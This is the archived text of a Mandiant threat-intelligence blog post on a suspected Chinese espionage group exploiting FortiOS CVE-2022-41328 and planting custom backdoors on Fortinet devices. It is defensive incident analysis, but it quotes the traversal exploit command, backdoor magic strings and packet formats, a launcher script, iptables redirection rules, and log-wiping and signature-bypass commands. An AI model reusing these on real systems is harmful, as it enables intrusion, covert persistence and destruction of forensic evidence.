{
	"id": "a0da091b-e9c8-4c1f-b55c-506fcdaf90f8",
	"created_at": "2026-04-06T00:06:30.435134Z",
	"updated_at": "2026-04-10T13:12:21.406369Z",
	"deleted_at": null,
	"sha1_hash": "a4f1a7fc8f90b816d394bae7c7a45a26a29ef141",
	"title": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2393343,
	"plain_text": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese\r\nActor in Espionage Operation\r\nBy Mandiant\r\nPublished: 2023-03-16 · Archived: 2026-04-05 19:40:21 UTC\r\nWritten by: Alexander Marvi, Brad Slaybaugh, Dan Ebreo, Tufail Ahmed, Muhammad Umair, Tina Johnson\r\nCyber espionage threat actors continue to target technologies that do not support endpoint detection and response (EDR)\r\nsolutions such as firewalls, IoT devices, hypervisors and VPN technologies (e.g. Fortinet, SonicWall, Pulse Secure, and\r\nothers). Mandiant has investigated dozens of intrusions at defense industrial base (DIB), government, technology, and\r\ntelecommunications organizations over the years where suspected China-nexus groups have exploited zero-day\r\nvulnerabilities and deployed custom malware to steal user credentials and maintain long-term access to the victim\r\nenvironments.\r\nWe often observe cyber espionage operators exploiting zero-day vulnerabilities and deploying custom malware to Internet-exposed systems as an initial attack vector. In this blog post, we describe scenarios where a suspected China-nexus threat\r\nactor likely already had access to victim environments, and then deployed backdoors onto Fortinet and VMware solutions as\r\na means of maintaining persistent access to the environments. This involved the use of a local zero-day vulnerability in\r\nFortiOS (CVE-2022-41328) and deployment of multiple custom malware families on Fortinet and VMware systems.\r\nMandiant published details of the VMware malware ecosystem in September 2022.\r\nIn mid-2022, Mandiant, in collaboration with Fortinet, investigated the exploitation and deployment of malware across\r\nmultiple Fortinet solutions including FortiGate (firewall), FortiManager (centralized management solution), and\r\nFortiAnalyzer (log management, analytics, and reporting platform). The following steps generally describe the actions the\r\nthreat actor took:\r\n1. Utilized a local directory traversal zero-day (CVE-2022-41328) exploit to write files to FortiGate firewall disks\r\noutside of the normal bounds allowed with shell access.\r\n2. Maintained persistent access with Super Administrator privileges within FortiGate Firewalls through ICMP port\r\nknocking\r\n3. Circumvented firewall rules active on FortiManager devices with a passive traffic redirection utility, enabling\r\ncontinued connections to persistent backdoors with Super Administrator privileges\r\n4. Established persistence on FortiManager and FortiAnalyzer devices through a custom API endpoint created within\r\nthe device\r\n5. Disabled OpenSSL 1.1.0 digital signature verification of system files through targeted corruption of boot files\r\nMandiant attributes this activity to UNC3886, a group we suspect has a China-nexus and is associated with the novel\r\nVMware ESXi hypervisor malware framework disclosed in September 2022. At the time of the ESXi hypervisor\r\ncompromises, Mandiant observed UNC3886 directly connect from FortiGate and FortiManager devices to VIRTUALPITA\r\nbackdoors on multiple occasions.\r\nMandiant suspected the FortiGate and FortiManager devices were compromised due to the connections to VIRTUALPITA\r\nfrom the Fortinet management IP addresses. Additionally, the FortiGate devices with Federal Information Processing\r\nStandards (FIPS) compliance mode enabled failed to boot after it was later rebooted. When FIPS mode is enabled, a\r\nchecksum of the operating system is compared with the checksum of a clean image. Since the operating system was\r\ntampered by the threat actor, the checksum comparison failed, and the FortiGate Firewalls protectively failed to startup.\r\nWith assistance from Fortinet, Mandiant acquired a forensic image of these failing devices, prompting the discovery of the\r\nICMP port knocking backdoor CASTLETAP.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 1 of 21\n\nFortinet Ecosystem\r\nMultiple components of the Fortinet ecosystem were targeted by UNC3886 before they moved laterally to VMWare\r\ninfrastructure. These components and their associated versions, at the time of compromise, are listed as follows:\r\nFortiGate: 6.2.7 – FortiGate units are network firewall devices which allow for the control and monitoring of\r\nnetwork traffic passing through the devices.\r\nFortiManager 6.4.7 – The FortiManager acts as a centralized management platform for managing Fortinet devices.\r\nFortiAnalyzer 6.4.7 – The FortiAnalyzer acts as a centralized log management solution for Fortinet devices as well\r\nas a reporting platform.\r\nScenario #1 (Summary): FortiManager Exposed to the Internet\r\nMandiant observed two distinct attack lifecycles where the threat actor abused Fortinet technologies to establish network\r\naccess. The first occurred when the threat actor initially gained access to the Fortinet ecosystem while the FortiManager\r\ndevice was exposed to the internet.\r\nDuring this attack lifecycle, as seen in Figure 1, backdoors disguised as legitimate API calls (THINCRUST) were deployed\r\nacross both FortiAnalyzer and FortiManager devices. Once persistence was established across the two devices,\r\nFortiManager scripts were used to deploy backdoors (CASTLETAP) across the FortiGate devices.\r\nMandiant observed SSH connections from the Fortinet devices to the ESXi servers, followed by the installation of malicious\r\nvSphere Installation Bundles which contained VIRTUALPITA and VIRTUALPIE backdoors. This enabled the threat actor\r\npersistent access to the hypervisors, and allowed the attacker to execute commands on guest virtual machines.\r\nMandiant has no evidence of a zero-day vulnerability being used to gain initial access or deploy the malicious VIBs at the\r\ntime of writing this post. VIRTUALPITA and VIRTUALPIE were discussed in more detail in a previous Mandiant blog post\r\npublished in September 2022.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 2 of 21\n\nFigure 1: Attack lifecycl\r\ne while FortiManager was accessible from the Internet\r\nScenario #2 (Summary): FortiManager Not Exposed to the Internet\r\nThe second attack lifecycle occurred where the FortiManager devices had network Access Control Lists (ACL) put in place\r\nto restrict external access to only TCP port 541 (FortiGate to FortiManager Protocol). During this attack lifecycle, as seen in\r\nFigure 2, the threat actor deployed a network traffic redirection utility (TABLEFLIP) and reverse shell backdoor (REPTILE)\r\non the FortiManager device to circumvent the new ACLs. With the redirection rules established by the TABLEFLIP utility,\r\nthe threat actor was able to access the REPTILE backdoor directly from the Internet for continued access to the\r\nenvironment.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 3 of 21\n\nFigure 2: Activity after Internet access restrictions implemented to FortiManager\r\nScenario #1 (Detailed): FortiManager Exposed to the Internet\r\nThe technical details that follow describe the attack path taken by the threat actor when the FortiManager was initially\r\nexposed to the Internet.\r\nTHINCRUST Backdoor (Python-based Backdoor)\r\nMandiant’s analysis identified that upon initial connection to the FortiManager, the threat actor appended python backdoor\r\ncode to a legitimate web framework file. Mandiant classified this new malware family as THINCRUST.\r\nThe threat actor modified the legitimate file /usr/local/lib/python3.8/proj/util/urls.py to include an additional\r\nmalicious API call, show_device_info , which can be seen in Figure 3. This allowed the threat actor to interact with the\r\nTHINCRUST backdoor through POST requests to the URI “ /p/util/show_device_info ”.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 4 of 21\n\nFigure 3: Comparison of urls.py\r\nWhen a POST request was sent to the show_device_info URL, it passed the request to the function get_device_info in\r\n/usr/local/lib/python3.8/proj/util/views.py . The get_device_info function contained the THINCRUST backdoor\r\nenabling the threat actor to execute commands, write files to disk, and read files from disk depending on the cookies\r\nprovided in the POST request as seen in Figure 4.\r\nFigure 4: THINCRUST backdoor python code\r\nThe get_device_info function relied on the presence of two (2) cookies, FGMGTOKEN and DEVICEID , within the POST\r\nrequests. The FGMGTOKEN cookie is encrypted with an RSA key hardcoded into views.py and contained an RC4 key that\r\ndecrypted the commands received through the DEVICEID cookie. The decrypted result of DEVICEID were a JSON encoded\r\ndictionary with the keys 'id' and 'key'. As seen in Table 1, the 'id' value determined which action to execute within the\r\nbackdoor, and the “key” value contained a string that acted as the arguments for the action being performed.\r\nID Command\r\n1 Execute the command line stored in 'key'\r\n2 Write the contents of the HTTP request to the file stored in 'key'. The contents are RC4 encrypted\r\n3 Read the contents of the file stored in 'key' and transfer the contents RC4 encrypted to the client\r\nTable 1: get_device_info backdoor capabilities\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 5 of 21\n\nWhile most files in views.py had the @login_required decorator applied to them [decorators are any functions (Syntax\r\nto call decorator: @) that extend the behavior of another function without explicitly modifying the code], the malicious\r\nfunction get_device_info utilized the Django python module native to the system to add a @csrf_exempt decorator to\r\nthe function as seen in Figure 5. This means that the POST request to the malicious API call did not require a login or CSRF\r\ntoken to successfully run.\r\nFigure 5: @login_required vs @csrf_exempt decorators\r\nMandiant identified that a variant of this malicious API call was also present on a FortiAnalyzer device. While the backdoor\r\nfunction in views.py , get_device_info , was the same as FortiManager, the API call used to access the backdoor was\r\nchanged to /p/utils/fortigate_syslog_send on the FortiAnalyzer device, as seen in Figure 6.\r\nFigure 6: FortiAnalyzer variant of urls.py: fortigate_syslog_send\r\nExploitation of CVE-2022-41328 on FortiGate Devices\r\nAfter persistence was established across the FortiManager and FortiAnalyzer devices with the THINCRUST backdoor, the\r\nthreat actor deployed FortiManager scripts to multiple FortiGate firewalls. This activity was logged in the FortiGate elog as\r\nseen in Figure 7.\r\nvd=\"root\"\r\ntype=\"event\"\r\nsubtype=\"system\"\r\nlevel=\"notice\" logdesc=\"Upload and run a script\"\r\nuser=”Fortimanager_Access”\r\nui=\"fgfmd\"\r\nmsg=\" User Fortimanager_Access via fgfmd upload and run script: \u003cscript_id\u003e -- OK\"\r\nFigure 7: FGFM script deployment log entry\r\nThe threat actor deleted these FortiManager scripts from the FortiManager device before they could be recovered for\r\nanalysis, but correlation of multiple event log types show that the scripts took advantage of a path traversal vulnerability\r\n(CVE-2022-41328). The vulnerability was exploited by the threat actor using the command execute wireless-controller\r\nhs20-icon upload-icon (as seen in Figure 8). This command allowed the threat actor to overwrite legitimate files in a\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 6 of 21\n\nnormally restricted system directory. Normally, the execute wireless-controller hs20-icon upload-icon command is\r\nused to upload .ico files (icon files) from a server to a FortiGate firewall using the File Transfer Protocol (“FTP”) or Trivial\r\nFile Transfer Protocol (“TFTP”), where they can be used in HotSpot 2.0 Online Sign-Up (OSU) portals. HotSpot 2.0 is a\r\ntechnology which allows for devices to seamlessly switch between cellular data and public Wi-Fi.\r\nHowever, the execute wireless-controller hs20-icon upload-icon command suffered from two issues. The command\r\ndid not validate the type of file being uploaded and was susceptible to a directory traversal exploit allowing a threat actor\r\nwith Super Administrator privileges to upload a file smaller than 65,535 bytes to any location on the file system. This means\r\nthat outside of the size constraints of the command, a threat actor could replace any legitimate system file on the FortiGate\r\nfirewall.\r\nSuccessful exploitation of the vulnerability (CVE-2022-41328) is not logged in FortiGate elogs. Around the time of the\r\nFortiManager script execution, the elogs recorded the threat actor’s failed attempts to overwrite the system file /bin/lspci\r\nusing this exploit, seen in Figure 8.\r\nexecute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci \u003cTA FTP Server\u003e\r\nFigure 8: FortiGate elog failed command execution\r\nexecute wireless-controller hs20-icon upload-icon tftp ../../../../../../bin/lspci \u003cTA TFTP Server\u003e\r\nFortinet confirmed the exploitation of this command was not seen prior to these events and assigned the designation CVE-2022-41328. Fortinet successfully replicated the exploit using the syntax seen in the failed command events.\r\nFurther supporting evidence of attempted exploitation was found in FortiGuard logs events with “ file_transfer:\r\nTFTP.Server.Buffer.Overflow repeated X times ” in the msg field. These events showed connections from the FortiGate\r\nfirewalls to the FortiAnalyzer device, where the packet contents included the lscpi directory traversal string, as seen in\r\nFigure 9. A directory traversal string with the filename node was also referenced in a similar event, which is another binary\r\nin the /bin/ directory of a FortiGate 6.2.7 device, but Mandiant only observed the threat actor replacing the lscpi\r\nbinary successfully.\r\nPFBBVFRFUk5TPiAAATsuLi88L1BBVFRFUk5TPgo8VVJJPiA8L1VSST4KPEhFQURFUj4gPC9IRUFERVI+CjxCT\r\n0RZPiA8L0JPRFk+CjxQQUNLRVQ+IAABLi4vLi4vLi4vLi4vLi4vLi4vYmluL2xzcGNpAG9jdGV0ADwvUEFDS0\r\nVUPg==\r\nBase 64 Decoded\r\n\u003cPACKET\u003e ..../../../../../../bin/lspci.octet.\u003c/PACKET\u003e\r\nFigure 9: IPS Sensor Logs - Attack Context Field\r\nSymlink to Suspected Backdoor (/bin/lspci -\u003e /bin/sysctl)\r\nMandiant reviewed file listings from multiple FortiGate firewalls in search of modified versions of /bin/lspci based on\r\nthe failed commands seen within FortiGate logs. In total, two variants of /bin/lspci were identified; a standalone version\r\nof the binary and a version which was symlinked to /bin/sysctl . Fortinet confirmed that /bin/lspci should always be a\r\nstandalone binary.\r\nFile listing entries for /bin/lspci and /bin/sysctl on the compromised FortiGate firewalls contained similar\r\ntimestamps that did not align with other legitimate binaries on the FortiGate machines. Additionally, the file size for\r\n/bin/sysctl on the compromised FortiGate firewall was much larger than reported on non-compromised devices.\r\nUnder normal circumstances, the command ‘ diagnose hardware lscpi ’ is used to list PCIe devices connected to the\r\nFortiGate firewall, but once the threat actor replaced the legitimate lspci binary with a symlink, the diagnostic command\r\ncould execute the sysctl file the threat actor modified instead.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 7 of 21\n\nThe file listing snippets in Figure 10 and Figure 11 highlight the differences across the original and modified versions of\r\n/bin/lspci and /bin/sysctl present on the FortiGate firewalls.\r\nCOMPROMISED-FGT101F # fnsysctl ls -la /bin\r\n...\r\nlrwxrwxrwx 1 root root 9 Oct 18 13:09 lldptx -\u003e /bin/init\r\nlrwxrwxrwx 1 root root 9 Oct 18 13:09 lnkmtd -\u003e /bin/init\r\nlrwxrwxrwx 1 root root 11 Oct 19 05:11 lspci -\u003e /bin/sysctl\r\nlrwxrwxrwx 1 root root 9 Oct 18 13:09 lted -\u003e /bin/init\r\nlrwxrwxrwx 1 root root 9 Oct 18 13:09 memuploadd -\u003e /bin/init\r\n...\r\n-rwxr-xr-x 1 root root 1478216 Oct 19 05:11 sysctl\r\n...\r\nFigure 10: Compromised FortiGate firewall with malicious entries for /bin/lspci and /bin/sysctl\r\nNON-COMPROMISED-FGT101F # fnsysctl ls -la /bin\r\n...\r\nlrwxrwxrwx 1 0 0 Fri Sep 2 12:07:55 2022 9 lldptx -\u003e /bin/init\r\nlrwxrwxrwx 1 0 0 Fri Sep 2 12:07:55 2022 9 lnkmtd -\u003e /bin/init\r\n-rwxr-xr-x 1 0 0 Fri Sep 2 12:07:55 2022 131736 lspci\r\nlrwxrwxrwx 1 0 0 Fri Sep 2 12:07:55 2022 9 lted -\u003e /bin/init\r\nlrwxrwxrwx 1 0 0 Fri Sep 2 12:07:55 2022 9 memuploadd -\u003e /bin/init\r\n...\r\n-rwxr-xr-x 1 0 0 Fri Sep 2 12:07:55 2022 251480 sysctl\r\n...\r\nFigure 11: Non-Compromised FortiGate firewall with legitimate entries for /bin/lspci and /bin/sysctl\r\nIn addition to the differences in modification time and size, the output of the file listing command fnsysctl ls -l /bin\r\ndisplayed multiple fields in different formats and order. This is likely due to the threat actor replacing /bin/sysctl and\r\ntherefore changing the shell functionality on the FortiGate firewall. Changes made to the FortiOS file system are not\r\npersistent, so the files were unable to be recovered for analysis.\r\nBy default, Fortinet devices running FortiOS have an archive on disk labelled rootfs.gz within the /data/ partition.\r\nUpon boot, this file is mounted as the root filesystem. This means if modifications are made to the mounted image, the\r\nchanges will not be persistent unless they are written to the rootfs.gz archive. FortiGate firewalls do not support files\r\nbeing exported from the mounted filesystem during runtime. Since the modifications made to /bin/lspci and\r\n/bin/sysctl were not written to the rootfs.gz archive, they were not installed persistently and could not be further\r\nanalyzed.\r\nMandiant coordinated with Fortinet to obtain a forensic image of the compromised FortiGate firewalls and better identify\r\nthe expected contents of the devices. Comparing the forensic image of the compromised FortiGate firewall to a known-good\r\nversion, Fortinet identified a trojanized firmware that contained a persistent backdoor. Mandiant refers to the backdoor as a\r\nnew malware family named CASTLETAP.\r\nCASTLETAP (FortiGate Firewall Backdoor)\r\nAnalysis on the FortiGate firewalls identified an additional malicious file /bin/fgfm . Analysis of /bin/fgfm determined\r\nit to be a passive backdoor, named CASTLETAP, that listened for a specialized ICMP packet for activation. The threat actor\r\nlikely named the file ‘ fgfm ’ in an attempt to disguise the backdoor as the legitimate service ‘ fgfmd ’ which facilitates\r\ncommunication between the FortiManager and FortiGate firewalls.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 8 of 21\n\nOnce executed, CASTLETAP created a raw promiscuous socket to sniff network traffic. CASTLETAP then filtered and\r\nXOR decoded a 9-byte magic activation string in the payload of an ICMP echo request packet. Table 2 shows the magic\r\nstrings interpreted by CASTLETAP and their resultant actions.\r\nMagic String Description\r\n1qaz@WSXa Parse C2 information from ICMP payload and connect to it over SSL.\r\nhpaVAj2FJ Kills CASTLETAP process.\r\nTable 2: CASTLETAP magic string options\r\nTo decode the C2 information within the ICMP packet, a single-byte XOR key was derived from the Epoch date stamp to\r\ndecrypt the payload data. This meant the encoding standard changed every day. Figure 12 show the formula that was used to\r\ncalculate the XOR key.\r\n((year + 1900 + month * (year + 1900)) * date) % 255\r\nyear: index starting from 1900 i.e. current_year-1900\r\nmonth: index starting from 0\r\ndate: index starting from 1\r\nFigure 12: CASTLETAP XOR key calculation\r\nTable 3 defines the payload structure of the ICMP packet expected by CASTLETAP.\r\nByte Index/Range Payload Section Description\r\n\u003c0x00-0x01\u003e \u003cflag indicating whether to create clone or not\u003e\r\n\u003c0x01-0x02\u003e \u003cunused\u003e\r\n\u003c0x02-0x0c\u003e \u003c9-byte magic string + null byte\u003e\r\n\u003c0x0c-0x10\u003e \u003cXOR encoded C2 IP\u003e\r\n\u003c0x10-0x15\u003e \u003cXOR encoded port\u003e\r\nTable 3: CASTLETAP ICMP packet structure\r\nWhen the C2 IP address and port was parsed from the activation packet, CASTLETAP initiated a connection to the C2 over\r\nan SSL socket. Once this connection was established, CASTLETAP expected the C2 server to initiate a handshake with the\r\n16-byte sequence seen in Figure 13, echoing the same sequence in response.\r\n0x58, 0x90, 0xAE, 0x86, 0xF1, 0xB9, 0x1C, 0xF6, 0x29, 0x83, 0x95, 0x71, 0x1D, 0xDE, 0x58, 0x0D\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 9 of 21\n\nFigure 13: CASTLETAP handshake sequence\r\nOnce connected to the C2, CASTLETAP could accept multiple types of commands over SSL, as seen in Table 4.\r\nCommand Description\r\n0x1 Upload file (to victim)\r\n0x2 Download file (from victim)\r\n0x3 Spawn busybox based command shell, otherwise fallback to a normal command shell.\r\n0x4 Continue receiving\r\n0x5 Receive complete\r\nTable 4: CASTLETAP command key\r\nWhen a command was successfully received, the backdoor returned the sequence ‘;7(Zu9YTsA7qQ#vw’ as an\r\nacknowledgement token; this same string was also sent to signal session termination.\r\nOnce CASTLETAP was deployed to the FortiGate firewalls, the threat actor connected to ESXi and vCenter machines. The\r\nthreat actor deployed VIRTUALPITA and VIRTUALPIE to establish persistence, allowing for continued access to the\r\nhypervisors and the guest machines. This is described in further detail in the blog post, “Bad VIB(E)s Part One:\r\nInvestigating Novel Malware Persistence Within ESXi Hypervisors.”\r\nScenario #2 (Detailed): FortiManager Not Exposed to the Internet\r\nThe technical details that follow describe the attack path taken by the threat actor where the FortiManager had network\r\nAccess Control Lists (ACL) set up to restrict external access.\r\nRegaining Access to the Internet-restricted FortiManager\r\nWhen ACLs were implemented on the FortiManager device, the threat actor lost direct public access to device. To regain\r\naccess to the FortiManager, the threat actor pivoted from a FortiGate Firewall compromised with CASTLETAP. The threat\r\nactor then deployed the following three (3) malicious files, seen in Table 5, to the FortiManager upon successful\r\nreconnection.\r\nMalware\r\nFamily\r\nFile Path Description\r\nN/A /bin/support\r\nLaunches /bin/auth and /bin/klogd and deletes the two files along with\r\n/bin/support from disk.\r\nTABLEFLIP /bin/auth\r\nA passive utility to setup network traffic redirection from a specific IP\r\naddress destined to the FortiManager on TCP port 541 to another specified\r\nport.\r\nREPTILE /bin/klogd A backdoor utility that listens for a specialized packet for activation.\r\nTable 5: Attack Lifecycle 2 Malware Key\r\nThe file /bin/support (MD5: 9ce2459168cf4b5af494776a70e0feda ) served as a launch script to execute /bin/klogd\r\n(REPTILE variant) and /bin/auth (TABLEFLIP). The attacker modified the startup file /etc/init.d/localnet to\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 10 of 21\n\nexecute the line ‘ nohup /bin/support \u0026 ’ so the script would run every time the system was rebooted. Since the running\r\nFortiOS file system was an ephemeral copy of the archive rootfs.gz , the files would be deleted from the ephemeral copy\r\nafter being loaded into memory and persist in the rootfs.gz archive, a file not accessible to users without pulling a\r\nforensic image. The contents of /bin/support can be seen in Figure 14.\r\n#!/bin/bash\r\n#cp /bin/sh /bin/top\r\nsleep 30\r\n/bin/klogd\r\n/bin/auth\r\nrm -rf /bin/klogd\r\nrm -rf /nohup.out\r\nrm -rf /bin/support\r\nFigure 14: Contents of /bin/support\r\nTABLEFLIP (Traffic Redirection Utility)\r\nTo enable continued access directly from the Internet, the threat actor implemented TABLEFLIP (MD5:\r\nb6e92149efaf78e9ce7552297505b9d5 ), a passive traffic redirection utility that listens on all active interfaces for specialized\r\ncommand packets. With this utility in place, and regardless of the ACL’s in place, the threat actor would be able to connect\r\ndirectly to the FortiManager as seen in Figure 15.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 11 of 21\n\nFigure 15: TABLEFLIP behavior\r\nTABLEFLIP was configured to listen on all active interfaces for TCP packets and searches at the start of the TCP payload\r\nfor the following magic packet, shown in Figure 16, for packets destined for port TCP 541.\r\n17 03 01 01 D8 54 2F 31\r\nFigure 16: TABLEFLIP magic number sequence\r\nIf the magic number was found, the malware extracted a XOR key from offset 0xB of the TCP payload. This key was used\r\nas a seed for XOR based sequential decryption. TCP payload offset 0xC onwards was decrypted using this scheme. Figure\r\n17 shows the structure of the payload.\r\nstruct _payload\r\n{\r\n_DWORD magic_dword1;\r\n_DWORD magic_dword2;\r\n_BYTE unused[3];\r\n_BYTE xor_key;\r\n_DWORD command;\r\n_DWORD ip;\r\n_WORD port;\r\n};\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 12 of 21\n\nFigure 17: TABLEFLIP payload structure\r\nThe malware then attempted to extract the command, IP, and port from the payload. Table 6 describes the command and\r\nactions taken when a command was recognized.\r\nCommand Description\r\n0xFFFEFDFC\r\nEnable redirection for traffic with source IP matching extracted IP and port 541 to extracted\r\ndestination port\r\n0xFCFDFEFF Disable redirection for traffic with source IP matching extracted IP and specified destination port\r\nTable 6: TABLEFLIP capabilities key\r\nTraffic redirection was accomplished by adding iptables rules on the FortiManager system as seen in Figure 18. with the\r\nsource IP and redirection port specified in the command packet. iptables was executed to check if a PREROUTING rule\r\nfor that IP and port combination already existed. If the combination was not found, a new redirection rule was added in the\r\nPREROUTING chain. The rules under the PREROUTING chain were processed immediately once the packet is received on\r\nan interface.\r\niptables -t nat -S PREROUTING | grep \u003csrc_ip\u003e | grep \u003credirection_port\u003e || iptables -t nat -A PREROUTING -p tcp -s \u003csrc_i\r\nFigure 18: iptables rule to implement traffic redirection\r\nWhen assigned to delete traffic redirection, TABLEFLIP utilized the grep command to filter on all lines in the\r\nPREROUTING chain which contained the IP address and redirection port of interest, capturing the appropriate rule id’s with\r\nawk . These id’s were passed back to iptables with xargs to have them removed from the PREROUTING chain, as\r\nseen in Figure 19.\r\niptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '\u003csrc_ip\u003e.*\u003c\r\nredirection_port\u003e' | awk -F: '{print $1}'| xargs iptables -t nat -D PREROUTING\r\nFigure 19: iptables rule to disable traffic redirection\r\nREPTILE (Backdoor)\r\nTo achieve persistent access on the FortiManager device, the threat actor deployed a backdoor with the filename\r\n/bin/klogd (MD5: 53a69adac914808eced2bf8155a7512d ) that Mandiant refers to as REPTILE, a variant of a publicly\r\navailable Linux kernel module (LKM) rootkit. With the assistance of TABLEFLIP, the threat actor was able to successfully\r\nforward traffic and access the REPTILE backdoor using iptables traffic redirection rules.\r\nOnce executed, REPTILE created a packet socket to receive OSI layer 2 packets. When a packet was received, the backdoor\r\nwould perform the check seen in the pseudocode in Figure 20 to determine if a magic string was present.\r\nsingle_byte_xor_key = (month * year) * day % 255\r\nindex = 2 * data_received_on_port_8[7];\r\ndata_to_decode_ptr = *((char *)\u0026data[index + 12] + 1)\r\ni = 0\r\nwhile ( i \u003c strlen(data_to_decode) )\r\n decoded_data[i] = data_to_decode_ptr[i++] ^ single_byte_xor_key;\r\nstrncmp(\u0026decoded_data, \"mznCvqSBo\", 9)\r\nFigure 20: REPTILE magic string detection pseudocode\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 13 of 21\n\nTable 7 shows the magic strings interpreted by REPTILE and their resultant actions.\r\nMagic String Description\r\nmznCvqSBo Parse C2 information from OSI layer 2 packet and connects to it over SSL.\r\nhpaVAj2FJ Kills REPTILE process (Only searched for if first magic string not found)\r\nTable 7: REPTILE magic string options\r\nSimilar to the method used by CASTLETAP to decode the C2 information, REPTILE derived a single-byte XOR key from\r\nthe Epoch date stamp to decrypt payload data, which caused the encryption key to change daily. Figure 21 shows the\r\nformula that was used to calculate the XOR key.\r\n(month * (year + 1900)) * day % 255\r\nyear: index starting from 1900 i.e. current_year-1900  \r\nmonth: index starting from 0\r\ndate: index starting from 1\r\nFigure 21: REPTILE XOR key calculation\r\nIf the magic string “ mznCvqSBo ” was found, a reverse shell was created with the C2 IP address and destination port\r\nextracted from the rest of the activation packet payload. When the first magic string was not present, the binary searched for\r\nthe second magic string “ hpaVAj2FJ ”. If this second magic string was found, the REPTILE process will end.If no magic\r\nstrings were found, the backdoor continued to listen for other connections.\r\nThreat Actor Anti-Forensics\r\nClearing and Modifying Logs\r\nMandiant analyzed the system memory of the FortiManager and identified threat actor commands used to clear specific\r\nevents that contained the threat actor’s IP address from multiple log sources. The commands seen in Figure 22 were utilized\r\nby the threat actor to remove log entries containing the IP address used to connect to the THINCRUST backdoor.\r\necho \u003e /var/log/django.log; \\\r\necho \u003e /var/log/apache2/error_log; \\\r\nsed -i ‘/\u003cipaddress\u003e/d’ /var/log/apache2/*log; \\\r\nls -alt /var/log/ /var/log/apache2/\r\nFigure 22: Threat actor’s anti-forensics commands\r\nDisabling File System Verification on Startup\r\nIn an attempt to skip digital signature verification checks made to the file system on boot, the threat actor added the\r\ncommand seen in Figure 23 to the startup config  /etc/init.d/localnet  within the  rootfs.gz  archive of both\r\nFortiManager and FortiAnalyzer devices.\r\nprintf \"t\" | dd of=/bin/smit bs=1 count=1 conv=notrunc seek=22866 2\u003e/dev/null\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 14 of 21\n\nFigure 23: /etc/init.d/localnet – DD Command\r\nComparing the compromised  /bin/smit  ( a388ebaef45add5da503e4bf2b9da546 ) with a clean version from both\r\nFortiManager and FortiAnalyzer, the modified binary contained a single byte difference. The modified location\r\nwithin  /bin/smit  is executed when the  mount  command line argument is given on system startup. Normally,\r\nthe  mount  function would perform OpenSSL 1.1.0 digital signature verification checks on the files in Figure 24\r\nagainst  /data/.fmg_sign , but this modification changed a conditional jump instruction to an unconditional jump\r\ninstruction which always skipped digital signature verification checks normally made on the system files.\r\n/data/extlinux.sys\r\n/data/extlinux.conf\r\n/data/boot.msg\r\n/data/vmlinuz\r\n/data/rootfse-fe\r\nFigure 24: Files normally checked by /bin/smit\r\nSince the  mount  command executes prior to  /etc/init.d/localnet  on system startup, the  dd  command will overwrite\r\nthe 22,866th byte of  /bin/smit  with the character “ t ”, reverting the binary to a state that appears as if it was never\r\ntampered with, even if the file was hashed.\r\nAttribution\r\nUNC3886 is an advanced cyber espionage group with unique capabilities in how they operate on-network as well as the\r\ntools they utilize in their campaigns. UNC3886 has been observed targeting firewall and virtualization technologies which\r\nlack EDR support. Their ability to manipulate firewall firmware and exploit a zero-day indicates they have curated a deeper-level of understanding of such technologies. UNC3886 has modified publicly available malware, specifically targeting *nix\r\noperating systems.\r\nAnother threat cluster unrelated to UNC3886, suspected to be from China has recently been observed targeting zero-day\r\nvulnerabilities in Fortinet as reported by Mandiant in mid-January of 2023. Mandiant continues to gather evidence and\r\nidentify overlaps between UNC3886 and other groups that are attributed to Chinese APT.\r\nConclusion\r\nThe activity discussed in this blog post is further evidence that advanced cyber espionage threat actors are taking advantage\r\nof any technology available to persist and traverse a target environment, especially those technologies that do not support\r\nEDR solutions. This presents a unique challenge for investigators as many network appliances lack solutions to detect\r\nruntime modifications made to the underlying operating system and require direct involvement of the manufacturer to\r\ncollect forensic images. Cross organizational communication and collaboration is key to providing both manufacturers with\r\nearly notice of new attack methods in the wild before they are made public and investigators with expertise to better shed\r\nlight on these new attacks.\r\nMandiant recommends organizations using the ESXi and the VMware infrastructure suite follow the hardening steps\r\noutlined in this blog post to minimize the attack surface of ESXi hosts.\r\nAcknowledgements\r\nSpecial thanks to Jeremy Koppen, Kirstie Failey, Bryce Bucklin, Jay Smith, Nicholas Luedtke, Ronnie Salomonsen, Nino\r\nIsakovic, Charles Carmakal, and Fortinet PSIRT for their assistance with the investigation, technical review, and creating\r\ndetections for the malware families discussed in this blog post. In addition, we would also like to thank Fortinet and\r\nVMware for their collaboration on this research.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 15 of 21\n\nFortinet released two additional resources covering CVE-2022-41328 and an analysis of identified attacker activity.\r\nMITRE ATT\u0026CK Techniques\r\nImpact\r\n   T1565.001: Stored Data Manipulation\r\nDefense Evasion\r\n   T1027:        Obfuscated Files or Information\r\n   T1070:        Indicator Removal\r\n   T1070.003:    Clear Command History\r\n   T1070.004:    File Deletion\r\n   